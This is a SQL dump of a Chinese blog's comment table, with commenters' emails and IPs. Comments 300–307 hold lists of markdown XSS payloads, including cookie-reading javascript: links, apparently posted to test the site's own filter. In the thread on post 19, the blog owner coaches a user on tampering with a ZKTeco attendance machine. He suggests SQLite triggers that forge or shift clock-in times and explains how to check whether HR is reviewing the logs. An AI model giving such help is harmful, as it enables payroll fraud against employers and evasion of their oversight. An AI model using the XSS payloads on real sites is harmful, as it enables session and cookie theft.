INSERT INTO `tb_comment` VALUES (288, 172, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '测试评论`123`', '2023-02-16 20:23:52', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (289, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '评论支持 `Markdown` 的大部分语法，支持代码高亮，支持 `KaTeX` 数学公式语法。\n不支持内联 html。', '2023-02-17 18:51:36', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (290, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '测试评论的', '2023-02-17 18:52:41', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (291, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '评论测试\r\n```Java\r\npublic static final String DOG_HOUSE = \"doghouse\";\r\n```', '2023-02-18 04:21:05', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 12; V2025A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/13.7.2.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (292, 1, 291, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '这样 $` N\\ in\\ \\{2,3,4,5,6\\} `$ 也行', '2023-02-21 12:15:03', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (293, 1, 291, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '> blockquote 测试\n\n~~删除线测试~~', '2023-02-21 12:15:40', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (294, 19, -1, 0, '风中CHENAI  ', '6047483@qq.com', '', '太神奇了，可以进入管理页面。牛~~~', '2023-02-22 17:07:15', '4.2.2.2', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (295, 19, 294, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '😆能进去就好，我也一直在等你的结果，我自己也没想到可以用在带字母的序列号上', '2023-02-22 22:52:24', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (296, 1, 291, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '狗日的，[链接测试](https://www.baidu.com)', '2023-02-23 02:51:03', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 12; V2025A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/13.7.2.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (297, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '测试评论测试', '2023-02-23 23:47:33', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (298, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'whjowhfoawhppekpajpfjpaweaasdwe', '2023-02-23 23:48:31', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 2, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (299, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '![](https://gravatar.zeruns.tech/avatar/19116911bd797a8353cc558cc8e64b94?s=160&r=G&d=)', '2023-02-24 00:33:49', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 2, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (300, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '![测试](https://www.smileat.me/blog/sketch/js/menu.js)', '2023-02-24 00:36:42', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (301, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '[测试](javascript:alert(\'Uh oh...\'))', '2023-02-24 00:40:12', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (302, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '![测试](\"onerror=\"alert(\'XSS\'))', '2023-02-24 00:41:38', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (303, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '[Basic](javascript:alert(\'Basic\'))\r\n[Local Storage](javascript:alert(JSON.stringify(localStorage)))\r\n[CaseInsensitive](JaVaScRiPt:alert(\'CaseInsensitive\'))\r\n[URL](javascript://www.google.com%0Aalert(\'URL\'))\r\n[In Quotes](\'javascript:alert(\"InQuotes\")\')\r\n测试', '2023-02-24 00:43:22', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (304, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '![Escape SRC测 - onload](https://www.example.com/image.png\"onload=\"alert(\'ImageOnLoad\'))\r\n![Escape SRC测 - onerror](\"onerror=\"alert(\'ImageOnError\'))', '2023-02-24 00:44:35', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (305, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '[XSS](javascript:prompt(document.cookie))\r\n[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))\r\n[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\r\n[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)\r\n[XSS]: (javascript:prompt(document.cookie))\r\n[XSS](javascript:window.onerror=alert;throw%20document.cookie)\r\n[XSS](javascript://%0d%0aprompt(1))\r\n[XSS](javascript://%0d%0aprompt(1);com)\r\n[XSS](javascript:window.onerror=alert;throw%20document.cookie)\r\n[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)\r\n测试', '2023-02-24 00:45:56', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (306, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '\r\n[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\r\n[XSS](vbscript:alert(document.domain))\r\n[XSS](javascript:this;alert(1))\r\n[XSS](javascript:this;alert(1&#41;)\r\n[XSS](javascript&#58this;alert(1&#41;)\r\n[XSS](Javas&#99;ript:alert(1&#41;)\r\n[XSS](Javas%26%2399;ript:alert(1&#41;)\r\n[XSS](javascript:alert&#65534;(1&#41;)\r\n[XSS](javascript:confirm(1)\r\n[XSS](javascript://www.google.com%0Aprompt(1))\r\n[XSS](javascript://%0d%0aconfirm(1);com)\r\n[XSS](javascript:window.onerror=confirm;throw%201)\r\n[XSS](�javascript:alert(document.domain&#41;)\r\n![XSS](javascript:prompt(document.cookie))\\\r\n![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\\\r\n![XSS\'\"`onerror=prompt(document.cookie)](x)\\\r\n测试', '2023-02-24 00:46:18', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (307, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '[Basic](javascript:alert(\'Basic\'))\r\n[Local Storage](javascript:alert(JSON.stringify(localStorage)))\r\n[CaseInsensitive](JaVaScRiPt:alert(\'CaseInsensitive\'))\r\n[URL](javascript://www.google.com%0Aalert(\'URL\'))\r\n[In Quotes](\'javascript:alert(\"InQuotes\")\')\r\n测试', '2023-02-24 00:55:33', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 1, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (308, 19, -1, 0, 'anymouseu', 'anymouseu@example.com', '', 'Welcome to Linux (ZMM220B) for MIPS\r\nonly for use and sale in China\r\nKernel 3.0.8 on an MIPS\r\n蹲一个root', '2023-03-03 13:32:05', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (309, 19, -1, 0, 'Apollo', 'gaoyangbiao@live.cn', '', 'CQEA223360186 算不出来了 求大佬帮忙算一个 蹲一个吧 邮箱 ', '2023-03-08 00:53:51', '127.0.0.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (310, 19, 309, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '已发，后续就不发了。参照文章即可。\n注意你的考勤机不一定是按密码算法2来的，有可能按密码算法1. 你可以按照算法1自行生成. 如果要尝试算法2，确认你输入密码的日期和生成密码时的日期一致', '2023-03-08 15:56:04', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (311, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '😅在博客里面放广告=在你老婆的B上贴开锁广告', '2023-03-11 14:24:50', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (312, 179, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '草你妈的臭嗨', '2023-03-11 14:41:18', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (313, 177, -1, 0, '尘埃', 'zhangd19841220@gmail.com', '', '兄弟，中控那篇文章提示“服务器出错”，打不开了！', '2023-03-21 07:49:19', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 13; V2227A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.192 Mobile Safari/537.36 OPR/74.0.3922.70977', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (314, 177, 313, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '已修复', '2023-03-21 08:55:46', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (315, 3, -1, 0, '大白', '1350570871@qq.com', 'http://wangdabai.wang', '您好 pcb文件可以发一份吗', '2023-04-02 13:29:59', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (316, 1, -1, 0, 'Raymondgah', 'no.reply.FlorianKarlsson@gmail.com', 'https://www.no-site.com', 'Hey! smileat.me \r\n \r\nHave you heard that it is possible to make an appeal that is completely lawful? We present a new legal method of sending requests through feedback forms. Such forms can be found on an abundance of websites. \r\nWhen such requests are sent, no personal data is used and messages are securely routed to forms designed to receive them and any subsequent appeals. Contact Form messages are not likely to end up in spam, as they\'re recognized as important. \r\nWe gіve уou the chance to test our service for nothing! \r\nWe can send out up to 50,000 messages for you. \r\n \r\nThe cost of sending one million messages is $59. \r\n \r\nThis message was automatically generated. \r\nPlease use the contact details below to get in touch with us. \r\n \r\nContact us. \r\nTelegram - https://t.me/FeedbackFormEU \r\nSkype  live:feedbackform2019 \r\nWhatsApp  +375259112693 \r\nWhatsApp  https://wa.me/+375259112693 \r\n \r\nWe only use chat for communication.', '2023-04-03 09:12:29', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36 OPR/53.0.2907.68', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (317, 3, 315, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '已发', '2023-04-03 11:14:19', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (318, 1, -1, 0, 'QAQ', 'nobody@smileat.me', '', '所以狗窝开不开源', '2023-04-14 17:16:07', '127.0.0.1', 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (319, 1, 318, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'not now\n', '2023-04-14 20:26:09', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (320, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '试下评论啊', '2023-04-23 22:56:25', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (321, 19, -1, 0, 'XELENTO', 'eyeszz1ng@gmail.com', '', '老铁，可否付费请帮忙你解一下考勤机？', '2023-05-14 10:48:44', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 11; SM-N9760 Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.104 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (322, 19, -1, 0, 'XELENTO', 'eyeszz1ng@gmail.com', '', '我想用不通过刷人脸的方式添加考勤记录和删除某一条记录，不懂程序。可否付费请你操作一下？', '2023-05-14 11:13:19', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 11; SM-N9760 Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.104 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (323, 19, -1, 0, 'LLL', 't-lonx@hotmail.com', '', 'U盤導出,解壓了backupdata.dat, 再用7zip打包 , 導回機內認不了, 錯誤\r\n應該如何怎樣打包?', '2023-05-15 01:11:25', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (324, 19, 323, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '压缩格式要选zip，压缩算法取deflate，压缩最好是仅存储。我印象中是这样。如果不行请再回复，我有时间再找个考勤机验证', '2023-05-15 14:22:01', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (325, 19, 324, 2, 'LLL', 't-lonx@hotmail.com', '', '我最後沒有解壓,直接在dat內換掉zkdb就成功了, 但是機是我自己的, 公司的沒有8888的工號, \r\n\r\n你說通过SDK, 4370 port , 直接赋自己管理员权限\r\n有沒有初步講解,,,,不懂SDK 那些檔案如何用, 謝謝', '2023-05-17 23:22:45', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (326, 19, 325, 3, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '抱歉，最近太忙了，可能没时间出一个讲解\r\n如果后续更新了，会通过 email 通知你', '2023-05-19 20:01:01', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (327, 19, 326, 4, 'LLL', 't-lonx@hotmail.com', '', '謝謝,已成功用ZKTeco Attendance Management , ZKTime 5.0 成功做到 加Admin 了, 這個軟件好像較舊, 功能較強, 但zkdb.db 好像只能從Telnet 和U盤件拿出來, 找不到其他方法', '2023-05-21 01:21:20', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (328, 19, 327, 5, 'LLL', 't-lonx@hotmail.com', '', '正在研究如何寫不同的TRIGGER\r\n入門完全不懂, chatgpt 是不是能幫忙\r\n有沒有教學建議\r\n\r\n例如: 早上第一次拍卡, 變成上一天晚上7時左右, 或, 6點後放工拍任何時間,都變成7時後\r\n', '2023-05-21 01:47:15', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (329, 19, 327, 5, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '把 zkdb.db 导出来以后，你可以在 PC 上找一个能打开它的软件（例如 NAVICAT），然后编写触发器，然后在 PC 上尝试用 INSERT 语句插入记录来测试触发器。\r\n\r\n至于具体的更改时间，主要还是取到时间以后的运算。举个例子，当前时间是\'2023-05-21 18:58:07\'，你可以使用`DATETIME(\'2023-05-21 18:58:07\', \'-1 DAY\')`来获得 \'2023-05-20 18:58:07\'，而后再使用`STRFTIME(\'%Y-%m-%dT%H:%M:%S\', \'2023-05-20 18:58:07\')`来获得符合中控考勤机的时间格式。\r\n\r\n具体如何实现你的逻辑判断（如何时转为前一天时间），需要你自己研究下。', '2023-05-21 19:00:46', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (330, 19, 329, 6, 'LLL', 't-lonx@hotmail.com', '', '感謝回答, 我用DB Browser (SQLite) 成功修改. 我詳細思考後,  最安全的方法, 我下班6點後任何時間拍卡, 都會幫我改成7點後, 但不是立即改, 到晚上8時系統才自動改, TRIGGER有機會能改成這樣嗎?\r\n\r\n因我擔心6時後人事部在看電腦考勤軟件, 如果6:10 突然跳出一條7:00 的記錄就版發現了.', '2023-05-22 12:36:48', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (331, 19, 328, 6, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '触发器一旦被触发，是会立即执行的，没办法做延时。', '2023-05-23 11:57:20', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (332, 19, 327, 5, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '触发器一旦被触发，是会立即执行的，没办法做延时。', '2023-05-23 11:57:39', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (333, 19, 322, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '不行。我只做研究探讨。', '2023-05-23 11:59:39', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (334, 19, 327, 5, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '额，想到一个思路，就是一旦触发器检测到有任意同事在7点后打卡，那就同时触发插入一条你自己的打卡，就好了。这样你只需保证有同事在7点后打卡就行。这样兢兢业业的同事应该是有的。🤣', '2023-05-23 16:34:18', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (335, 19, 334, 6, 'LLL', 't-lonx@hotmail.com', '', '想法不錯, 但好像還有些問題, 如果我生病 或假期沒上班的那天, 做了這設定, 我7點後還是會跳了一個記錄出來, 好像有些問題', '2023-05-26 19:15:29', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (336, 19, 327, 5, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '那只能靠自己了', '2023-05-28 23:07:14', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (337, 19, -1, 0, 'LLL', 't-lonx@hotmail.com', '', '想到一個問題, 有沒有可能 查到考勤機什麼時候 曾經被connect 或download log , 有沒有留下記錄的? 如果能查到大約時間的download記錄 , 便有機會知道人事是何時會看記錄', '2023-05-31 15:21:27', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (338, 19, 337, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'ZKTeco Attendance Management 似乎是有下载管理记录的功能的。你可以看看是否能导出管理记录，并查看是否有人事对应的操作记录。当然，你通过 ZK 管理软件操作的记录也可能被记下。不过如果人事不注意，应该也没有问题。', '2023-05-31 15:47:49', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (339, 185, -1, 0, '紫夜', 'ziye@lovezi.online', 'https://www.lovezi.online/', '有这种感觉很正常呀。不要把自己当成一个人就好了，设想下自己是多个人的聚合体，每个人格都有各自的一套思考方式和处理方法，甚至是一套特立独行的人生观、价值观、世界观，你只要在合适的时机选择其中一个，并带入进去。心情，都是波动起伏的，中间都是正常的，最顶点和最低点就是修为突破的时机（纯属瞎扯）。所谓不破不立，突破了一个小的“8”（躺着的8），然后重回到下一个范围大一点的“8”（躺着的8）。“8”（躺着的8），是无穷无尽的轮回，但这个不是你自己创造的吗？你自己的游戏吗？大人!', '2023-06-06 10:07:26', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.37', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (340, 185, 339, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '日常倒是没有什么感觉，可能白天感官输入太多，压制住了。到了晚上熄灯睡觉的时候，什么感官输入都没了，惊恐和焦虑就被无限放大了', '2023-06-06 11:34:31', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (341, 19, -1, 0, 'LLL', 't-lonx@hotmail.com', '', '如果trigger不要看password , 改看ID\r\nWHEN\r\n    -- \"NEW\" \r\n    (SELECT \r\n         User_PIN \r\n     FROM \r\n         USER_INFO \r\n     WHERE\r\n         User_PIN = NEW.User_PIN)= \'??\'\r\n\r\n是不是這樣,我自己試了是OK的, \r\n我第一次試 ID=NEW.ID 反而不成功, 跟ID 觸發也是用User PIN ?\r\n', '2023-06-09 01:19:36', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
